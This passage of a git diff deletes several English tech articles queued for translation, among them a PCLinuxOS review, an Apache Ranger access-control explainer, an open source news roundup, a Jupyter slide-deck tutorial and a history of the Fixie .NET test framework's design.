PCLinuxOS on VirtualBox). - -![PCLinuxOS Control Center][22] - -PCLinuxOS comes with a control center to handle all of your system admin needs. It covers installing software, file sharing, handles network connections, handles hardware issues, and security. - -#### Create your own custom PCLinuxOS live disk - -It also comes with a couple of apps that allow you to download a new PCLinuxOS ISO, write that ISO to a disc or USB, or create [your own LiveCD][23] based on your current system. - -![It is easy to create your own custom PCLinuxOS ISO][24] - -#### No sudo in PCLinuxOS - -Interestingly, PCLinuxOS doesn’t have `sudo` installed. According to the [FAQ][6], “Some distros…leaving sudo in a default state where all administrator functions are allowed without the requirement to enter the root password. We consider this an unacceptable security risk.” Whenever you perform a task that requires admin privileges, a window appears asking for your password. - -#### Strong community - -One of the cool things about PCLinuxOS is its strong community. That community creates a monthly [e-magazine][25]. Each issue contains news, tutorials, puzzles, and even recipes. The only other distro (or family of distros) that has sustained a community publication for over 15 years is Ubuntu with the [Full Circle Magazine][26]. Be sure to check it out. - -#### No hardware issues noticed (for my system) - -This is one of the last distros I will review on my Dell Latitude D630. (I’m moving up to a newer Thinkpad.) One of the major problems I’ve had in the past was getting the Nvidia GPU to work correctly. I didn’t have any issues with PCLinuxOS. It just worked out of the box. - -### Final Thoughts - -![PCLinuxOS Desktop][27] - -PCLinuxOS also provides an easy way to remaster the system after installation. It allows you to create a live disk of PCLinuxOS with your customization. I - -PCLinuxOS feels like part of the past and part of the present. It reflects the pre-systemd days and offers a modern desktop and apps at the same time. The only thing I would complain about is that there are fewer applications available in the repos than more popular distros, but the availability of Flatpak and AppImages should fix that. - -PCLinuxOS’ tag line is: “_**So cool ice cubes are jealous**_“. It might sound corny, but I think it’s true, especially if you aren’t a fan of the direction the rest of the Linux world has taken. If you find something lacking in the big Linux distros, check out this old-little distro with a great community. - -Have you ever used PCLinuxOS? What is your favorite independent distro? Please let us know in the comments below. If you found this article interesting, please take a minute to share it on social media, Hacker News or [Reddit][28]. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/pclinuxos-review/ - -作者:[John Paul][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/john/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/why-use-manjaro-linux/ -[2]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/09/PCLinuxOS-review.png?resize=800%2C450&ssl=1 -[3]: https://en.wikipedia.org/wiki/Mandriva_Linux -[4]: https://www.pclinuxos.com/ -[5]: http://linux-blog.org/Experiment-Interview-with-Texstar-of-PCLinuxOS/ -[6]: https://pclinuxoshelp.com/index.php/Frequently_Asked_Questions -[7]: https://itsfoss.com/synaptic-package-manager/ -[8]: https://pclinuxoshelp.com/index.php/Installing_Software#Using_Flatpak -[9]: https://www.pclinuxos.com/?page_id=10 -[10]: https://ftp.nluug.nl/pub/os/Linux/distr/pclinuxos/pclinuxos/live-cd/community/ -[11]: https://pclosusers.com/communityiso/ -[12]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/08/PCLinuxOS-updater.jpg?resize=800%2C487&ssl=1 -[13]: https://pclinuxoshelp.com/index.php/Hardware_Recommendations -[14]: https://twitter.com/matthartley -[15]: https://www.openshot.org/ -[16]: http://www.lunduke.com/ -[17]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/08/PCLinuxOS-installer.jpg?resize=800%2C500&ssl=1 -[18]: http://launchpad.net/ubiquity -[19]: https://fedoraproject.org/wiki/Anaconda -[20]: https://calamares.io/ -[21]: https://itsfoss.com/what-is-desktop-environment/ -[22]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/08/PCLinuxOS-Control-Center.jpg?resize=800%2C585&ssl=1 -[23]: https://pclinuxoshelp.com/index.php/LiveCD,_Create_your_own -[24]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/08/PCLinuxOS-downloader.jpg?resize=800%2C608&ssl=1 -[25]: https://pclosmag.com/index.html -[26]: https://fullcirclemagazine.org/ -[27]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/08/PCLinuxOS-desktop.jpg?resize=800%2C500&ssl=1 -[28]: http://reddit.com/r/linuxusersgroup diff --git a/sources/tech/20200908 Open source data control for cloud services with Apache Ranger.md b/sources/tech/20200908 Open source data control for cloud services with Apache Ranger.md deleted file mode 100644 index 38e6da27a5..0000000000 --- a/sources/tech/20200908 Open source data control for cloud services with Apache Ranger.md +++ /dev/null @@ -1,63 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Open source data control for cloud services with Apache Ranger) -[#]: via: (https://opensource.com/article/20/9/apache-ranger) -[#]: author: (Balaji Ganesan https://opensource.com/users/balajiganesan) - -Open source data control for cloud services with Apache Ranger -====== -Comparing different approaches to make more data available to more users -while maintaining security and compliance with data privacy regulations. -![Tools in a cloud][1] - -As the movement to migrate enterprise data to the cloud gathers steam, there is an active debate on the best approach to securing and protecting it. But before we talk about the details of the various access control frameworks, let us first understand the breadth of challenges a company faces when it begins migrating its data to the cloud. First and foremost is the wide array of storage and analysis or compute services offered by cloud and third-party providers. In other words, when a company decides to move its data to the cloud, it needs to decide the type of repository in which it is going to store its data. - -Each cloud company offers many different data stores, and there are a dozen different services to analyze data once it has been migrated to the cloud. Then there are cloud-native third-party services to allow data science platforms and data warehouses to operate as part of the leading public cloud infrastructure. Each of these services offers a unique mechanism by which to administer access to data consumers such as data analysts and scientists in the organization. - -If you think this is beginning to sound a lot like Hadoop-based data lakes, you're right. Needless to say, this places a very heavy burden on the administrators that have to make data widely available in the organization and comply with privacy and industry regulations such as California Consumer Privacy Act (CCPA), General Data Protection Regulation (GDPR), and Health Insurance Portability and Accountability Act (HIPAA) at the same time. - -### The fundamentals of two popular approaches: RBAC vs. ABAC - -Access control mechanisms have been part of the enterprise IT landscape since the advent of computer systems, and there are two key aspects to controlling access to data. The first relates to authenticating the identity of the user and establishing whether the individual or system is actually who they claim to be. The second has to do with ensuring that the user has the appropriate permission to access a data system, a process known as authorization. These principles also apply to the data stored in the cloud. Today, role-based access control (RBAC) and attribute-based access control (ABAC) are the two most prevalent approaches to managing access to data in the enterprise. The goal of these approaches is to help define and enforce the policies and privileges that grant authorized users access to the required data. - -RBAC is based on the concepts of users, roles, groups, and privileges in an organization. Administrators grant privileges or permissions to pre-defined organizational roles—roles that are assigned to subjects or users based on their responsibility or area of expertise. For example, a user who is assigned the role of a manager might have access to a different set of objects and/or is given permission to perform a broader set of actions on them as compared to a user with the assigned role of an analyst. When the user generates a request to access a data object, the access control mechanism evaluates the role assigned to the user and the set of operations this role is authorized to perform on the object before deciding whether to grant or deny the request. - -RBAC simplifies the administration of data access controls because concepts such as users and roles are well-understood constructs in a majority of organizations. In addition to being based on familiar database concepts, RBAC also offers administrators the flexibility to assign users to various roles, reassign users from one role to another, and grant or revoke permissions as required. Once an RBAC framework is established, the administrator's role is primarily to assign or revoke users to specific roles. In RBAC, a user can be assigned many roles, a role can have many users, and a role/user can perform many operations. - -The concept of attribute-based access control appeared on the scene in the early 2000s. Prior to ABAC, managing access to enterprise data involved granting a user or subject permission to perform a specific action on an entity—in this case, a database, table, or column. In ABAC, the decision to grant access or request to perform an operation on an object is based on assigned attributes of the subject, object, environment conditions, and a set of policies that are specific to those attributes and conditions. Environment conditions are dynamic factors that are independent of user or object and can include things such as the time and location of the subject. Just like subjects or users have attributes, so do objects such as databases, files, or tables. Object attributes may include author, creation date, version, effective date, last update, etc. - -ABAC operates by assigning attributes to subjects and objects and developing policies that govern rules of data access. Each component in the information system is assigned attributes that are specific to the object. For example, a file can be classified as an intellectual property (IP). Similarly, each user or subject in the system can be assigned attributes that may include the user's location and time zone. Based on these attributes, an administrator can build an access policy that specifies that any document that has been classified as IP cannot be accessed by a user who is located outside the US or that it can only be accessed by users who are affiliated with the company's legal department during the hours of 8:00am and 5:00pm PST. You can now see how ABAC extends the concept of role, users, and privileges to include attributes. - -ABAC also offers several advantages to infrastructure administrators. For instance, they do not require knowledge of specific users or subjects that need access to data. The combination of user and object attributes governed by a set of policies can accommodate an unlimited number of users. As new users are added to the platform, they, too, can be governed by the same set of rules. Because ABAC does not require administrators to have prior knowledge of the users, this approach is better suited to environments where individuals are routinely added and removed from the data platform. - -### Making the right choice - -It is important to point out that the distinction between RBAC and ABAC approaches is increasingly blurred by access control platforms such as Apache Ranger, a data governance framework originally developed to manage Big Data in Hadoop data lakes. - -Today, Apache Ranger is the leading open source project for data access governance for Big Data environments, including Apache Spark. It's in use at hundreds of enterprises around the world, utilized to define and enforce data access control policies to govern sensitive data as mandated by regulations like GDPR and CCPA. - -Apache Ranger was built to centrally manage access to data used by different engines that are part of the Hadoop platforms. It is inherently architected to handle the diversity of data storage and compute environments presented by multiple cloud services in use at enterprises today. - -Apache Ranger's approach to data authorization is based on ABAC, which is a combination of the subject, action, resource, and environment. At the same time, Ranger can provide fine-grained access control to users based on the concepts of role, user, and permission. - -The best strategy for organizations migrating to the cloud is to select a data access control platform that strikes a balance between empowering administrators to make more data available to more data consumers and complying with industry and privacy regulations. More importantly, it must do this without adversely affecting the performance of the data platform or user behavior.  - -Looking for ways to draw meaningful conclusions from big data? Rommel Garcia runs through three... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/apache-ranger - -作者:[Balaji Ganesan][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/balajiganesan -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/cloud_tools_hardware.png?itok=PGjJenqT (Tools in a cloud) diff --git a/sources/tech/20200908 Tux the Linux Penguin in its first video game.md b/sources/tech/20200908 Tux the Linux Penguin in its first video game.md deleted file mode 100644 index dbb4be38cb..0000000000 --- a/sources/tech/20200908 Tux the Linux Penguin in its first video game.md +++ /dev/null @@ -1,88 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Tux the Linux Penguin in its first video game, better DNS and firewall on Android, Gitops IDE goes open source, and more open source news) -[#]: via: (https://opensource.com/article/20/9/news-sept-8) -[#]: author: (Lauren Maffeo https://opensource.com/users/lmaffeo) - -Tux the Linux Penguin in its first video game, better DNS and firewall on Android, Gitops IDE goes open source, and more open source news -====== -Catch up on the biggest open source headlines from the past two weeks. -![][1] - -In this week’s edition of our open source news roundup, Gitpod open sources its IDE platform, BraveDNS launches an all-in-one platform, and more open source news. - -### Engineers debut an open source-powered robot - -Matthias Müller and Vladlen Koltun, two engineers at Intel, have shared their new robot to tackle computer vision tasks. [The robot][2], called "OpenBot", is powered by a smartphone, which acts as a camera and computing unit.  - -The OpenBot prototype components cost $50. It's intended to be a low-cost alternative to commercially available radio-controlled models, with more computing power than educational models. - -To use OpenBot, users can connect their smartphones to an electromechanical body. They can also use Bluetooth to connect their smartphone to a video game controller like an Xbox or PlayStation.  - -Müller and Koltun say they want OpenBot to address two key issues in robotics: Scalability and accessibility. Its source code is still pending [on GitHub][3], although models for 3D-printing the case are up. - -### Tux the Linux Penguin gets his video game dues - -A new update to [a free and open source 3D kart racer][4] features an unlikely hero: Tux, the Linux penguin. - -Born in the early aughts as a project called _TuxKart_, Joerg Henrichs renamed it "Super Tux Kart" in 2006. Lux is the latest open source mascot to feature in the project: Blender and GIMP's mascots are represented as well. - -Along with adding Tux to the mix, Super Tux Kart Version 1.2 includes lots of updates. iOS users can create racing servers in-game, while all official tracks are now included in the release built on Android. And since the game is open source [on four platforms][5], all players can make their own changes to submit for review. - -### BraveDNS offers three services in one for Android users - -It's notoriously tough for Android users to find a firewall, adblocker, and DNS-over-HTTPS client in one product. But if BraveDNS lives up to the hype, this free and open source tool offers all three in one.  - -Self-described as “an [OpenSnitch][6]-inspired firewall and network monitor + a [pi-hole][7]-inspired DNS over HTTPS client with blocklists”, BraveDNS uses its own ads, trackers, and spyware-blocking DNS endpoint. Users who need features like custom blocklists and ability to store DNS logs can use the tool's DNS resolver service as a paid option. - -Along with a robust [list of firewall features][8], BraveDNS offers to backport support for dual-mode DNS and firewall execution to legacy Android versions. You'll need at least Android 8 Oreo to use the latest version of BraveDNS on their website and Google Play, but their developers pledge to make it compatible down to Android Marshmellow in the near future.  - -### Gitpod open sources its IDE platform - -With projects like Theia, Xtext, and Open VSX under its belt, Gitpod has been a strong open source presence for 10 years. Now, Gitpod -- an IDE platform for GitHub projects -- is [officially open source][9] as well. - -The move marks a big change for Gitpod, which was previously closed to community development from the start. Founders Sven Efftinge and Johannes Landgraf shared that Gitpod now meets GitHub's open source criteria under AGPL license. This allows Gitpod developers to co-collaborate on Kubernetes applications. - -Along with Gitpod's open source status, they've expanded into software as well. Self-Hosted, a private cloud platform, is now available for free to unlimited users. Designed for DevOps teams to work on enterprise projects, Self-Hosted's features include collaboration tools, analytics, dashboards, and more. - -In other news: - - * [5 open source software applications for virtualization][10] - * [Building a heavy duty open source ventilator][11] - * [China looks at Gitee as an open source alternative to Microsoft's GitHub][12] - * [The future of American industry depends on open source tech][13] - - - -Thanks, as always, to Opensource.com staff members and [Correspondents][14] for their help this week. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/news-sept-8 - -作者:[Lauren Maffeo][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/lmaffeo -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/weekly_news_roundup_tv.png?itok=tibLvjBd -[2]: https://www.inceptivemind.com/openbot-open-source-low-cost-smartphone-powered-robot/15023/ -[3]: https://github.com/intel-isl/OpenBot -[4]: https://hothardware.com/news/super-tux-kart-update -[5]: https://supertuxkart.net/Download -[6]: https://github.com/evilsocket/opensnitch -[7]: https://github.com/pi-hole/pi-hole -[8]: https://www.xda-developers.com/bravedns-open-source-dns-over-https-client-firewall-adblocker-android/ -[9]: https://aithority.com/it-and-devops/gitpod-goes-open-source-with-its-ide-platform-launches-self-hosted-cloud-package/ -[10]: https://searchservervirtualization.techtarget.com/tip/5-open-source-software-applications-for-virtualization -[11]: https://hackaday.com/2020/08/28/building-a-heavy-duty-open-source-ventilator/ -[12]: https://www.scmp.com/abacus/tech/article/3099107/china-pins-its-hopes-gitee-open-source-alternative-microsofts-github -[13]: https://www.wired.com/story/opinon-the-future-of-american-industry-depends-on-open-source-tech/ -[14]: https://opensource.com/correspondent-program diff --git a/sources/tech/20200909 Create a slide deck using Jupyter Notebooks.md b/sources/tech/20200909 Create a slide deck using Jupyter Notebooks.md deleted file mode 100644 index 5ba0d7fe1a..0000000000 --- a/sources/tech/20200909 Create a slide deck using Jupyter Notebooks.md +++ /dev/null @@ -1,108 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Create a slide deck using Jupyter Notebooks) -[#]: via: (https://opensource.com/article/20/9/presentation-jupyter-notebooks) -[#]: author: (Moshe Zadka https://opensource.com/users/moshez) - -Create a slide deck using Jupyter Notebooks -====== -Jupyter may not be the most straightforward way to create presentation -slides and handouts, but it affords more control than simpler options. -![Person reading a book and digital copy][1] - -There are many options when it comes to creating slides for a presentation. There are straightforward ways, and generating slides directly from [Jupyter][2] is not one of them. But I was never one to do things the easy way. I also have high expectations that no other slide-generation software quite meets. - -### Why transition from slides to Jupyter? - -I want four features in my presentation software: - - 1. An environment where I can run the source code to check for errors - 2. A way to include speaker notes but hide them during the presentation - 3. To give attendees a useful handout for reading - 4. To give attendees a useful handout for exploratory learning - - - -There is nothing more uncomfortable about giving a talk than having someone in the audience point out that there is a coding mistake on one of my slides. Often, it's misspelling a word, forgetting a return statement, or doing something else that becomes invisible as soon as I leave my development environment, where I have [a linter][3] running to catch these mistakes. - -After having one too many of these moments, I decided to find a way to run the code directly from my slide editor to make sure it is correct. There are three "gotchas" I needed to consider in my solution: - - * A lot of code is boring. Nobody cares about three slides worth of `import` statements, and my hacks to mock out the `socket` module distract from my point. But it's essential that I can test the code without creating a network outage. - * Including boilerplate code is _almost_ as boring as hearing me read words directly off of the slide. We have all heard (or even given) talks where there are three bullet points, and the presenter reads them verbatim. I try to avoid this behavior by using speaker notes. - * There is nothing more annoying to the audience when the talk's reference material doesn't have any of the speaker notes. So I want to generate a beautiful handout containing all of my notes and the slides from the same source. Even better, I don't want to have slides on one handout and a separate GitHub repository for the source code. - - - -As is often the case, to solve this issue, I found myself reaching for [JupyterLab][4] and its notebook management capabilities. - -### Using Jupyter Notebooks for presentations - -I begin my presentations by using Markdown and code blocks in a Jupyter Notebook, just like I would for anything else in JupyterLab. I write out my presentation using separate Markdown sections for the text I want to show on the slides and for the speaker notes. Code snippets go into their own blocks, as you would expect. - -Because you can add a "tag" to cells, I tag any cell that has "boring" code as `no_markdown`. - -![Using tags in Jupyter Notebook][5] - -(Moshe Zadka, [CC BY-SA 4.0][6]) - -Then I convert my Notebook to Markdown with: - - -``` -`$ jupyter nbconvert presentation.ipynb --to markdown --TagRemovePreprocessor.remove_cell_tags='{"no_markdown"}'  --output build/presentation.md` -``` - -There are ways to [convert Markdown to slides][7]—but I have no idea how to use any of them and even less desire to learn. Plus, I already have my favorite presentation-creation tool: [Beamer][8]. - -But Beamer requires custom LaTeX, and that is not usually generated when you convert Markdown to LaTeX. Thankfully, one Markdown implementation–[Pandoc Markdown][9]—has a feature that lets me do what I want. Its [raw_attribute][10] extension allows including "raw" bits of the target format in the Markdown. - -This means if I run `pandoc` on the Markdown export from a notebook that includes `raw_attribute` LaTeX bits, I can have as much control over the LaTeX as I want: - - -``` -`$ pandoc --listings -o build/presentation.tex build/presentation.md` -``` - -The `--listings` makes `pandoc` use LaTeX's `listings` package, which makes code look much prettier. Putting those two pieces together, I can generate LaTeX from the notebook. - -Through a series of conversion steps, I was able to hide the parts I wanted to hide by using: - - * LaTeX `raw_attribute` bits inside Jupyter Notebook's Markdown cells - * Tagging boring cells as `no_markdown` - * Jupyter's "nbconvert" to convert the notebook to Markdown - * Pandoc to convert the Markdown to LaTeX while interpolating the `raw_attribute` bits - * Beamer to convert the Pandoc output to a PDF slide-deck - * Beamer's beamerarticle mode - - - -All combined with a little bit of duct-tape, in the form of a UNIX shell script, to produce slide-deck creation software. Ultimately, this pipeline works for me. With these tools, or similar, and some light UNIX scripting, you can make your own customized slide created pipeline, optimized to your needs and preferences. - -What is the most complicated pipeline you have ever used to build a slide deck? Let me know about it—and whether you would use it again—in the comments. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/presentation-jupyter-notebooks - -作者:[Moshe Zadka][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/moshez -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/read_book_guide_tutorial_teacher_student_apaper.png?itok=_GOufk6N (Person reading a book and digital copy) -[2]: https://jupyter.org/ -[3]: https://opensource.com/article/19/5/python-flake8 -[4]: https://jupyterlab.readthedocs.io/en/stable/index.html -[5]: https://opensource.com/sites/default/files/uploads/jupyter_presentations_tags.png (Using tags in Jupyter Notebook) -[6]: https://creativecommons.org/licenses/by-sa/4.0/ -[7]: https://opensource.com/article/18/5/markdown-slide-generators -[8]: https://opensource.com/article/19/1/create-presentations-beamer -[9]: https://pandoc.org/MANUAL.html#pandocs-markdown -[10]: https://pandoc.org/MANUAL.html#extension-raw_attribute diff --git a/sources/tech/20200910 How this open source test framework evolves with .NET.md b/sources/tech/20200910 How this open source test framework evolves with .NET.md deleted file mode 100644 index e9acf235d7..0000000000 --- a/sources/tech/20200910 How this open source test framework evolves with .NET.md +++ /dev/null @@ -1,156 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How this open source test framework evolves with .NET) -[#]: via: (https://opensource.com/article/20/9/testing-net-fixie) -[#]: author: (Patrick Lioi https://opensource.com/users/patricklioi) - -How this open source test framework evolves with .NET -====== -Re-evaluating and overhauling a software project's design are crucial -steps to keep up as circumstances change. -![magnifying glass on computer screen, finding a bug in the code][1] - -A software project's design is a consequence of the time it was written. As circumstances change, it's wise to take a step back and consider whether old ideas still make for a good design. If not, you risk missing out on enhancements, simplifications, new degrees of freedom, or even a project's very survival. - -This is relevant advice for [.NET][2] developers whose dependencies are subject to constant updates or are preparing for .NET 5. The [Fixie][3] project confronted this reality as we flexed to outside circumstances during the early adoption phase of .NET Core. Fixie is an open source .NET test framework similar to NUnit and xUnit with an emphasis on [developer ergonomics][4] and customization. It was developed before .NET Core and has gone through a few major design overhauls in response to platform updates. - -### The problem: Reliable assembly loading - -A .NET test project tends to feel a lot like a library: a bunch of classes with no visible entry point. The assumption is that a test runner, like Fixie's Visual Studio Test Explorer plugin, will load your test assembly, use reflection to find all the tests within it, and invoke the tests to collect results. Unlike a regular library, test projects share some similarities with regular console applications: - - 1. The test project's dependencies should be naturally loadable, as with any executable, from their own build output folder. - 2. When running multiple test projects, the loaded assemblies for test project A should be separate from the loaded assemblies for test project B. - 3. When the system under test relies on an App.config file, it should use the one local to the test project while the tests are running. - - - -I'll call these behaviors the Big Three. The Big Three are so natural that you rarely find a need to even _say_ them. A test project should resemble a console executable: It should be able to have dependencies, it should not conflict with the assemblies loaded for another project, and each project should respect its own dedicated config file. We take this all for granted. The sky is blue, water is wet, and the Big Three must be honored as tests run. - -### Fixie v1: Designing for the Big Three - -The Big Three pose a _huge_ problem for .NET test frameworks: the primary running process, such as Visual Studio Test Explorer, is nowhere near the test project's build output folder. The most natural attempt to load a test project and run it will fail all of the Big Three. - -Early alpha builds of Fixie were naive about assembly loading: The test runner .exe would load a test project and run simple tests, but it would fail as soon as a test tried to run code in another assembly—like the application being tested. By default, it searched for assemblies _near the test runner_, nowhere near the test project's build output folder. - -Once we resolved that, using that test runner to run more than one test project would result in conflicts at runtime, such as when each test project referenced different versions of the same library. - -And when we resolved that, the test runner would fail to look in the right config files, mistakenly thinking the test runner's config file was the one to use. - -In the days of the regular old .NET Framework, the solution to the Big Three came in the form of AppDomains. AppDomains are a fairly old and now-deprecated technology. Fixie v1 was developed when this was the primary solution, with no deprecation in sight, to the Big Three. _Under those circumstances_, using AppDomains to solve the Big Three was the ideal design, though it was a bit frustrating to work with them. In short, they let a single test runner carve out little pockets of loaded assemblies with rigid communication boundaries between them. - -![Fixie version 1][5] - -The Test Explorer plugin and its own dependencies (like [Mono.Cecil][6]) live in one AppDomain. The test assembly and its dependencies live in a second AppDomain. A painful serialization boundary allows requests to cross the chasm with no risk of mixing the loaded assemblies. - -AppDomains let you identify each test project's build output folder as the home of that test project's config file and dependencies. You could successfully load a test project's folder into the test runner process, call into it, and get test results while meeting the Big Three requirements. - -And then .NET Core came along. Suddenly, AppDomains were an old and deprecated concept that simply would not continue to exist in the .NET Core world. - -Circumstances had changed with a vengeance. - -### Fixie v2: Adapting to the .NET Core crisis - -At first, this seemed like the end of the Fixie project. The entire design depended on AppDomains, and if this newfangled .NET Core thing survived, Fixie would have no answer to the Big Three. Despair. Close up shop. Delete the repository. - -In these moments of despair, we were making a classic software development mistake: confusing the _solution_ with the _requirements_. The _actual requirements_ (the Big Three) had not changed. The circumstances _around_ the design had changed: AppDomains were no longer available. When people make the mistake of confusing their solution with their requirements, they may double down, grip their steering wheel tighter, and just flail around while they try to force their solution to continue working. - -Instead, we needed to recognize the plain truth: we had familiar requirements, but new circumstances, and it was time to throw out the old design for something new that met the same requirements under the new circumstances. Once we gave ourselves permission to go back to the drawing board, the solution was clear: - -The Big Three let your "library" test project feel like a console application. So, what if your test project _was_ a console application? - -A console application already has meaningful notions of loading dependencies from the right folder, distinct from the dependencies of another application, while respecting its own config file. The test runner is no longer the only process in the mix. Instead, the test runner's job is to _start_ the test project as a process of its own and communicate with it to collect results. We traded away AppDomains for interprocess communication, resulting in a new design that met all the original requirements while also working in the context of .NET Framework _and_ .NET Core projects. - -![Fixie version 2][7] - -This design kept the project alive and allowed us to serve both platforms during those shaky years when it wasn't certain which platform would survive in the long run. However, maintaining support for two worlds became increasingly painful, especially in keeping the Visual Studio Test Explorer plugin alive through every minor Visual Studio release. Every minor Fixie release involved a huge matrix of use cases to do regression testing, and every new little bump in the road brought innovation to a halt. - -On top of that, Microsoft was starting to show clear signs that it was abandoning the .NET Framework: the old Framework no longer kept up with advances in .NET Standard, ASP.NET, or C#. The .NET Framework would exist but would quickly fall by the wayside. - -Circumstances had changed again. - -### Fixie v3: Embracing One .NET - -Fixie v3 is a work in progress that we intend to release shortly after .NET 5 arrives. .NET 5 is the resolution to the .NET Framework vs. .NET Core development lines, arriving at [One .NET][8]. Instead of fighting it, we're following Microsoft's evolution: Fixie v3 will no longer run on the .NET Framework. Removing .NET Framework support allowed us to remove a lot of old, slow implementation details and dramatically simplified the regression testing scenarios we had to consider for reach release. It also allowed us to reconsider our design. - -The Big Three requirements changed only slightly: .NET Core does away with the notion of an App.config file closely tied to your executable, instead relying on a more convention-based configuration. All of Fixie's assembly-loading requirements remained. More importantly, the circumstances _around_ the design changed in a fundamental way: we were no longer limited to using types available in both .NET Framework and .NET Core. - -By promising _less_ with the removal of .NET Framework support, we _gained_ new degrees of freedom to modernize the system. - -.NET's [AssemblyLoadContext][9] is a distant cousin of AppDomains. It's not available to the .NET Framework, so it hadn't been an option for us before. AssemblyLoadContext lets you set up a dedicated loading area for an assembly and its own dependencies without polluting the surrounding process and without being limited to the original process's own folder of assemblies. In other words, it gives AppDomains' "load this folder of assemblies off to the side" behavior without the frustrating AppDomains quirks. - -We defined the concept of a **TestAssemblyLoadContext**, the little pocket of assembly-loading necessary for one test assembly folder: - - -``` -class TestAssemblyLoadContext : AssemblyLoadContext -{ -    readonly AssemblyDependencyResolver resolver; - -    public TestAssemblyLoadContext(string testAssemblyPath) -        => resolver = [new][10] AssemblyDependencyResolver(testAssemblyPath); - -    protected override Assembly? Load(AssemblyName assemblyName) -    { -        // Reuse the Fixie.dll already loaded in the containing process. -        if (assemblyName.Name == "Fixie") -            return null; - -        var assemblyPath = resolver.ResolveAssemblyToPath(assemblyName); - -        if (assemblyPath != null) -            return LoadFromAssemblyPath(assemblyPath); - -        return null; -    } - -    ... -} -``` - -Armed with this class, we can successfully load a test assembly and all its dependencies in a safe way and from the right folder. The test runner can work with the loaded Assembly directly, knowing that the loading effort won't pollute the test runner's own dependencies: - - -``` -var assemblyName = [new][10] AssemblyName(Path.GetFileNameWithoutExtension(assemblyPath)); -var testAssemblyLoadContext = [new][10] TestAssemblyLoadContext(assemblyPath); -var assembly = testAssemblyLoadContext.LoadFromAssemblyName(assemblyName); -// Use System.Reflection.* against `assembly` to find and run test methods... -``` - -We've come full circle: The Fixie v3 Visual Studio plugin uses TestAssemblyLoadContext to load test assemblies in process, similar to the way the Fixie v1 plugin did with AppDomains. The core Fixie.dll assembly need only be loaded once. Most importantly, we got to eliminate all the interprocess communication while taking advantage of the best that the new circumstances allowed. - -![Fixie version 3][11] - -### Always be designing - -When you work with any long-lived system, some of your maintenance pains are really clues that outside circumstances have changed. If your circumstances are changing, take a step back and reconsider your design. Are you mistaking your _solution_ for your _requirements_? Articulate your requirements separate from your solution, and see whether your circumstances suggest a new and perhaps even exciting direction. - -With news of Microsoft making the server side of .NET open source, we look at how the creation of... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/testing-net-fixie - -作者:[Patrick Lioi][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/patricklioi -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/mistake_bug_fix_find_error.png?itok=PZaz3dga (magnifying glass on computer screen, finding a bug in the code) -[2]: https://en.wikipedia.org/wiki/.NET_Framework -[3]: https://github.com/fixie/fixie -[4]: https://headspring.com/2020/04/01/fixie-test-framework-developer-ergonomics/ -[5]: https://opensource.com/sites/default/files/fixie-design-diagram-v1-cropped.jpg (Fixie version 1) -[6]: https://www.mono-project.com/docs/tools+libraries/libraries/Mono.Cecil/ -[7]: https://opensource.com/sites/default/files/fixie-design-diagram-v2-cropped_0.jpg (Fixie version 2) -[8]: https://channel9.msdn.com/Events/Build/2020/BOD106 -[9]: https://docs.microsoft.com/en-us/dotnet/core/tutorials/creating-app-with-plugin-support -[10]: http://www.google.com/search?q=new+msdn.microsoft.com -[11]: https://opensource.com/sites/default/files/fixie-design-diagram-v3-cropped_0.jpg (Fixie version 3) diff --git a/sources/tech/20200914 The future of virtual conferences, service mesh, and more industry trends.md b/sources/tech/20200914 The future of virtual conferences, service mesh, and more industry trends.md deleted file mode 100644 index 8a895eba9e..0000000000 --- a/sources/tech/20200914 The future of virtual conferences, service mesh, and more industry trends.md +++ 